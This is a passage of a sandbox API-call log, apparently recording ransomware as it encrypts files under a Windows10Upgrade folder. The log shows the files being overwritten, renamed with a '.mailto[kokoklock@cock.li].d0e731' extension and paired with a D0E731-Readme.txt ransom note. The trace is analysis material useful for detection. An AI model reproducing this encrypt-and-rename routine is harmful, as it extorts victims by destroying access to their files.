returned 0x1da75c20 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x65ac46d3 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xc2adb168 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x3c250d3 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xdb82069c [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x1d76548 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x43dc6810 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xa002805e [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x50316459 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x255ac94c [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x1299f62 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xb66e863 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x554a57f3 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x9be84a13 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xe35acaf9 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xe7bb984b [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xa3de296d [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x5059c321 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x4fbe22dc [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x76d4b33e [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x4f032105 [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xc24b9a1f [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xafd6b28 [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xd4c98285 [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xc050d310 [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xd7b0db4f [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x2e85d390 [0076.049] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x3689fe23 [0076.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.060] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.060] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d9bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d9bfbe4*=0x4096, lpOverlapped=0x0) returned 1 [0076.060] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a30 [0076.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a58 [0076.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a58) returned 1 [0076.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.061] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d9bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d9bfbe4*=0x4096, lpOverlapped=0x0) returned 1 [0076.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.061] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x43f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.061] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d9bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x3478a30*, lpNumberOfBytesWritten=0x1d9bfc1c*=0x20, lpOverlapped=0x0) returned 1 [0076.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a30) returned 1 [0076.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3478a08*, lpNumberOfBytesWritten=0x1d9bfc30*=0x8, lpOverlapped=0x0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x1d9bfc48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x1d9bfc48*, lpNumberOfBytesWritten=0x1d9bfc30*=0x4, lpOverlapped=0x0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d9bfc30*=0x4, lpOverlapped=0x0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d9bfc30*=0x6c, lpOverlapped=0x0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d9bfc30*=0x20, lpOverlapped=0x0) returned 1 [0076.062] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d9bfc30*=0x4, lpOverlapped=0x0) returned 1 [0076.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789e0) returned 1 [0076.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a08) returned 1 [0076.062] CloseHandle (hObject=0x9ec) returned 1 [0076.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0076.062] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\loading.gif") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" [0076.062] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731" [0076.063] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.063] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0076.063] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif", dwFileAttributes=0x20) returned 0 [0076.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.063] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.063] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.064] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426c58) returned 1 [0076.064] RtlExitUserThread (Status=0x1) Thread: id = 793 os_tid = 0x13a0 [0076.060] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png")) returned 0x20 [0076.065] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png", dwFileAttributes=0x20) returned 1 [0076.065] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0076.066] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1da3fc3c | out: lpFileSize=0x1da3fc3c*=3677) returned 1 [0076.066] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xe59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.066] ReadFile (in: hFile=0x9ec, lpBuffer=0x1da3fc10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x1da3fc10*, lpNumberOfBytesRead=0x1da3fc0c*=0x4, lpOverlapped=0x0) returned 1 [0076.067] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.067] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.067] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34789e0 [0076.067] NtQuerySystemTime (in: CurrentTime=0x1da3fbe8 | out: CurrentTime=0x1da3fbe8*=132121176339565391) returned 0x0 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x1aa8a6cf [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x86ddc28d [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x6363ae8b [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xf065a51 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x6dd36af8 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x30d1acb2 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xa701dcba [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x898084df [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xc784eda3 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xf3e403d4 [0076.067] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xf99c6821 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x3c75771b [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xc3cfb08e [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x55f4cafc [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xbaca2aab [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x39da0ae9 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x22a12873 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xa0ffeec4 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xeb70be8a [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x24c01e45 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xa806ca4b [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xc48a009b [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x8ce37090 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x96a3d491 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xcfdbe33d [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x209c8bee [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x446d8291 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xbbbd6cd1 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xfa33edf8 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xd1df4af3 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0xd59218f6 [0076.068] RtlRandom (in: Seed=0x1da3fbf4 | out: Seed=0x1da3fbf4) returned 0x2404d92e [0076.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.079] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xe5d, lpNumberOfBytesRead=0x1da3fbe8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1da3fbe8*=0xe5d, lpOverlapped=0x0) returned 1 [0076.079] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1da3fbb0 | out: lpNewFilePointer=0x0) returned 1 [0076.079] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xe5d, lpNumberOfBytesWritten=0x1da3fbe4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1da3fbe4*=0xe5d, lpOverlapped=0x0) returned 1 [0076.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a58 [0076.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a80 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a80) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1da3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3478a58*, lpNumberOfBytesWritten=0x1da3fbe0*=0x20, lpOverlapped=0x0) returned 1 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a58) returned 1 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x3478a30*, lpNumberOfBytesWritten=0x1da3fc0c*=0x8, lpOverlapped=0x0) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x1da3fc24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x1da3fc24*, lpNumberOfBytesWritten=0x1da3fc0c*=0x4, lpOverlapped=0x0) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1da3fc0c*=0x4, lpOverlapped=0x0) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1da3fc0c*=0x6c, lpOverlapped=0x0) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1da3fc0c*=0x20, lpOverlapped=0x0) returned 1 [0076.080] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1da3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1da3fc0c*=0x4, lpOverlapped=0x0) returned 1 [0076.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a08) returned 1 [0076.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a30) returned 1 [0076.081] CloseHandle (hObject=0x9ec) returned 1 [0076.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb450 [0076.081] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\resources\\ux\\lock.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png" [0076.081] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731" [0076.081] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.081] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0076.082] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png", dwFileAttributes=0x20) returned 0 [0076.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.082] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.082] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.082] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fca0) returned 1 [0076.082] RtlExitUserThread (Status=0x1) Thread: id = 794 os_tid = 0x13a4 [0076.084] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png")) returned 0x20 [0076.084] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png", dwFileAttributes=0x20) returned 1 [0076.084] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0076.084] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1dabf744 | out: lpFileSize=0x1dabf744*=2611) returned 1 [0076.084] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xa2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.084] ReadFile (in: hFile=0x9ec, lpBuffer=0x1dabf718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x1dabf718*, lpNumberOfBytesRead=0x1dabf714*=0x4, lpOverlapped=0x0) returned 1 [0076.086] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a08 [0076.086] NtQuerySystemTime (in: CurrentTime=0x1dabf6f0 | out: CurrentTime=0x1dabf6f0*=132121176339721477) returned 0x0 [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xfe35d06c [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x2de62dcf [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x35877bd3 [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xf1f715ac [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xd575fc16 [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x785ee26f [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x826fff88 [0076.086] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x1f287746 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xf7d31135 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x7aca00f0 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x76494c58 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xf0e39e4e [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xe5ed08ad [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x2f15851b [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xc1f1ad68 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xe624210b [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x7c0d75ca [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xcfd6522d [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x6f7efab4 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xf1fed8ee [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xb52327b7 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xf64663b6 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xcf8a2826 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x5fb9400e [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xa682ec34 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xb7a1e585 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x5e514052 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xc5c92a59 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: 